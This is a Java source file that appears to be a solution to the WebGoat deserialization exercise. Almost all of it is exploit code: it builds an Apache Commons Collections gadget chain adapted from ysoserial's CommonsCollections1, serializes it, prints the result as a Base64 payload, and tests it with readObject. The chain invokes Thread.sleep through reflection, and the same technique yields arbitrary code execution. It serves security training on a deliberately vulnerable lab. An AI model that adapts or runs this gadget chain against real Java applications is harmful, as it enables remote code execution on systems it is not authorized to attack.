Webgoat Java serialization solution

package sx.reece.webgoat;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
import java.util.concurrent.TimeUnit;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import sx.reece.javakit.logger.Logger;

// Based on https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java
public class Webgoat {
    private final static long SLEEP_TIME = TimeUnit.SECONDS.toMillis(5);
    private final static Transformer[] EXPLOIT_CHAIN = new Transformer[]{
            new ConstantTransformer(Thread.class),
            new InvokerTransformer("getMethod",
                    new Class[]{String.class, Class[].class},
                    new Object[]{"sleep", new Class[] {long.class} }),
            new InvokerTransformer("invoke",
                    new Class[]{Object.class, Object[].class},
                    new Object[]{null, new Object[] { SLEEP_TIME} })};

    private static Transformer getExploitedTransformer() throws Exception {
        Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
        Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(transformerChain, EXPLOIT_CHAIN);
        return transformerChain;
    }

    private static Object craftExploit() throws Exception {
        Hashtable hashtable = new Hashtable();
        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();
        Transformer evil;
        Map lazyMap1;
        Map lazyMap2;

        evil = getExploitedTransformer();

        lazyMap1 = LazyMap.decorate(innerMap1, evil);
        lazyMap2 = LazyMap.decorate(innerMap2, evil);

        lazyMap1.put("yy", 1);
        lazyMap2.put("zZ", 1);

        hashtable.put(lazyMap1, 1);
        hashtable.put(lazyMap2, 2);

        lazyMap2.remove("yy");

        return hashtable;
    }

    private static byte[] serializeExploit(Object obj) throws Exception {
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(out);
        oos.writeObject(obj);
        return out.toByteArray();
    }

    private static String obtainWebgoatPayload(byte[] buffer) {
        return new String(Base64.getEncoder().encode(buffer));
    }

    private static void testExploit(byte[] buffer) throws Exception {
        ObjectInputStream iis = new ObjectInputStream(new ByteArrayInputStream(buffer));
        Logger.log("Sleeping for five seconds...");
        iis.readObject();
        Logger.log("Did I sleep?");
    }

    public static void main(String[] args) throws Exception {
        byte[] buf;
        Object exploit;

        exploit = craftExploit();
        buf     = serializeExploit(exploit);

        Logger.debug("Webgoat payload: %s", obtainWebgoatPayload(buf));

        testExploit(buf);
    }
}